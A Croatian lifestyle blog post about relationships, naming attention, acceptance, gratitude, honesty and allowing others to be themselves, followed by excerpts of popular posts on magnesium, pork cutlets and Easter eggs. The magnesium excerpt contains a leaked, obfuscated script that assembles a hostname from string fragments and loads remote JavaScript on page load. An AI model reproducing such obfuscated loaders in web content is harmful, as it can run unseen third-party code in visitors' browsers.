POSTOJE LI IDEALNI ODNOSI?




Postoje li idealni odnosi?



Odnosi među ljudima dvosmjerna su ulica i da bi funkcionirali potrebni su neprestano obostrano ulaganje i trud.




Pažnja 

Jedan od najčešćih obrazaca je ideja da bi nas druga osoba trebala razumjeti bez objašnjenja. U toj tišini nerijetko nastaje razočaranje, ne zato što nas netko ne voli nego zato što nije pogodio sliku koju smo u sebi stvorili. S druge strane i mi često radimo isto pokušavamo čitati drugu osobu umjesto da je pitamo i slušamo. Tu se pojavljuje ključna vještina koja mijenja dinamiku svakog odnosa - pažnja.





Prihvaćanje 

Prihvaćanje ne znači odobravanje svega nego sposobnost da vidimo drugu osobu kakva jest, a ne kroz projekciju onoga kakva bi trebala biti. Mnogi konflikti zapravo počinju u toj razlici između stvarne osobe i zamišljene verzije.





Zahvalnost 

Zahvalnost srcu odnosima često podcjenjuje, s ima snažan učinak. Kada primjećujemo ono što funkcionira odnos se prestaje svoditi samo na probleme. To ne briše teškoće,ali širi perspektivu i vraća ravnotežu.





Iskrenost 

Iskrenost je ono što održava bliskost živom. Ne kao impulzivno izbacivanje svega što mislimo nego kao odgovorno izražavanje onoga što osjećamo. Bez iskrenosti odnos polako prelazi u tiho udavaljanje.





Dopuštanje 

Dopuštanje drugoj osobi da bude ono što je čak i kada se to ne uklapa u naše potrebe ili očekivanja. U praksi to znači odustajanje od kontrole i prihvaćanje da ne možemo upravljati tuđim unutarnjim svijetom.



Kad se svi ovi elementi počnu promatrati zajedno odnosi prestaju biti prostor u kojem dobivamo ili gubimo i postaju prostor u kojem učimo biti svjesniji sebe i drugoga.





Pripremila: Ivana Matas 





Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više